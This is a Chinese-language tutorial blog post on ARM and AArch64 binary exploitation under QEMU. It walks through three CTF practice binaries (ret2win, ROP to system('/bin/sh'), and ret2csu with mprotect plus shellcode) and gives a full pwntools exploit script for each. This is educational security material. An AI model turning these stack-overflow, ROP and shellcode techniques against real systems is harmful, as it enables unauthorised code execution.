arm aarch64 pwn学习

admin 2024年1月10日15:46:13评论21 views字数 4989阅读16分37秒阅读模式

QEMU

两种运行模式
qemu-user
qemu-system
qemu-system 可以进行完整的系统仿真,而 qemu-user 只提供用户态仿真。
安装:
apt search "libc6-" | grep "arm"
sudo apt-get install qemu qemu-user qemu-user-static

本地运行

arm

qemu-arm -L /usr/arm-linux-gnueabi ./pwn

aarch64

qemu-aarch64 -L /usr/aarch64-linux-gnu/ ./pwn

gdb调试

下载:
sudo apt-get install gdb-multiarch
调试:
gdb-multiarch pwn -q
set architecture arm
set architecture aarch64
target remote localhost:1234

ret2win (arm ret2text)

思路

arm aarch64 pwn学习

arm架构的,然后动态链接程序

arm aarch64 pwn学习

arm aarch64 pwn学习

arm aarch64 pwn学习

栈溢出,也有后门,很好解决,这里主要是通过调试去熟悉arm架构的寄存器的操作

arm aarch64 pwn学习

可以看到这里寄存器和x86有区别,但是还是可以看个大概,这里我们就直接去通过通过调试去熟悉就可以了

我们直接在exp里面写上
p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])
然后开始调试

arm aarch64 pwn学习

调试异架构的时候建议直接下断点然后运行过去就可以

arm aarch64 pwn学习

这里我直接走到pwnme函数,可以看到bl就相当于call

arm aarch64 pwn学习

然后基本确定r0-r2储存前三个参数
然后pc就是相当于rip,sp储存的就是栈顶

arm aarch64 pwn学习

r11就类似于rbp

arm aarch64 pwn学习

然后这里就是fp储存的栈底去减4赋值给sp

arm aarch64 pwn学习

然后就是pop {fp, pc}

arm aarch64 pwn学习

从上图调试,大概可以可以看出就是把sp储存的值pop给r11,然后再sp+1,再执行pop pc,沿着sp去执行程序,同时sp指针再加1

arm aarch64 pwn学习

arm aarch64 pwn学习

exp

import os
import sys
import time
from pwn import *
from ctypes import *

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

context(arch='arm', os='linux')
context.log_level = 'debug'

p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
#p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])

pl = "a" * 0x24 + p32(0x000105EC)
sa('>', pl)
itr()

typo (arm simple rop)

思路

arm aarch64 pwn学习

arm aarch64 pwn学习

这里的ida里面的代码量很大,直接运行程序,去看看有没有溢出就可以

arm aarch64 pwn学习

这里可以看出溢出了,所以用gdb调试一下
这里的gdb实际上是不太好调的

arm aarch64 pwn学习

如果我们只是输入范围内大小的字符串,调试那里会卡住,所以这里我们输入比较短的字符串很难去得到偏移,所以这里我们直接用cyclic去寻找

arm aarch64 pwn学习

先用cyclic去生成一段字符串
然后我们直接输入

arm aarch64 pwn学习

arm aarch64 pwn学习

直接找出偏移112
然后再找一下gadget

arm aarch64 pwn学习

然后找bin/sh

arm aarch64 pwn学习

然后顺着bin/sh,找到了类似于system的函数

arm aarch64 pwn学习

arm aarch64 pwn学习

exp

import os
import sys
import time
from pwn import *
from ctypes import *

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

context(arch='arm', os='linux')
context.log_level = 'debug'

p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","./pwn"])
#p = process(["qemu-arm","-L","/usr/arm-linux-gnueabi","-g", "1234","./pwn"])

r0_r4=0x00020904
bin_sh=0x0006c384
system=0x00010BA8
s('n')
pl='a'*112+p32(r0_r4)+p32(bin_sh)+p32(0)+p32(system)
s(pl)
itr()

baby_arm (aarch64 ret2csu)

思路

arm aarch64 pwn学习

先动调熟悉一下

arm aarch64 pwn学习

arm aarch64 pwn学习

arm aarch64 pwn学习

储存参数的寄存器是x0-x2
然后在ida中我们发现有mprotect函数

arm aarch64 pwn学习

然后第一次read是直接读入到bss段,所以这里我们就可以去写shellcode,然后利用mprotect修改权限后调用

arm aarch64 pwn学习

然后这里就是类似于csu的gadget

arm aarch64 pwn学习

这一段LDP X19, X20, [SP,#var_s10]
意思是将sp+0x10处数据给x19,sp+0x18处数据给0x20
以此类推,后面的汇编表示的是:
将sp+0x20处数据给x21,sp+0x28处数据给0x22
将sp+0x30处数据给x23,sp+0x38处数据给0x24
将sp处数据给x29,sp+0x8处数据给x30
RET ; 返回x30寄存器中存放的地址/PC
这一段的作用就是赋值

arm aarch64 pwn学习

然后这一段就是利用x21,x22,x23,x24分别向x3,x2,x1,x0赋值,然后跳转到x3的地址,然后比较x19与x20,相等不跳转
第一次read输入shellcode,然后第二次用csu去调用相应的函数和shellcode

def csu(x19,x20,call_got,x2,x1,x0,call_shell):
pl ='a' * offset
pl += p64(csu_down)
pl += p64(0) + p64(csu_up)
pl += p64(x19) + p64(x20) #x19 x20
pl += p64(call_got) + p64(x2) #x21 x22
pl += p64(x1) + p64(x0) #x23 x24
pl += p64(0) + p64(call_shell)
pl += p64(0) * 6
return pl

这里的定义的csu就是溢出后调用,先去覆盖返回地址为csu_down,调用后sp指向csu_down,然后按照偏移依次往下构造就可以

exp

import os
import sys
import time
from pwn import *
from ctypes import *

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'x00'))
uu64 = lambda data :u64(data.ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

context.arch = 'aarch64'
context.os = 'linux'
context.log_level = 'debug'

p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","./pwn"])
#p = process(["qemu-aarch64","-L","/usr/aarch64-linux-gnu/","-g", "1234","./pwn"])
mprotect_plt = 0x400600
mprotect_got = 0x411030
csu_down = 0x4008CC
csu_up = 0x4008AC

offset=0x48

def csu(x19,x20,call_got,x2,x1,x0,call_shell):
pl ='a' * offset
pl += p64(csu_down)
pl += p64(0) + p64(csu_up)
pl += p64(x19) + p64(x20) #x19 x20
pl += p64(call_got) + p64(x2) #x21 x22
pl += p64(x1) + p64(x0) #x23 x24
pl += p64(0) + p64(call_shell)
pl += p64(0) * 6
return pl

shellcode_addr = 0x411068
shellcode = asm(shellcraft.aarch64.sh())
pl = shellcode
sa('Name:',pl)

pl=csu(0,1,mprotect_got,7,0x1000,shellcode_addr,shellcode_addr)
s(pl)
itr()

来源:【https://xz.aliyun.com/】,感谢【PaT1Ent

原文始发于微信公众号(船山信安):arm aarch64 pwn学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月10日15:46:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   arm aarch64 pwn学习https://cn-sec.com/archives/2339413.html

发表评论

匿名网友 填写信息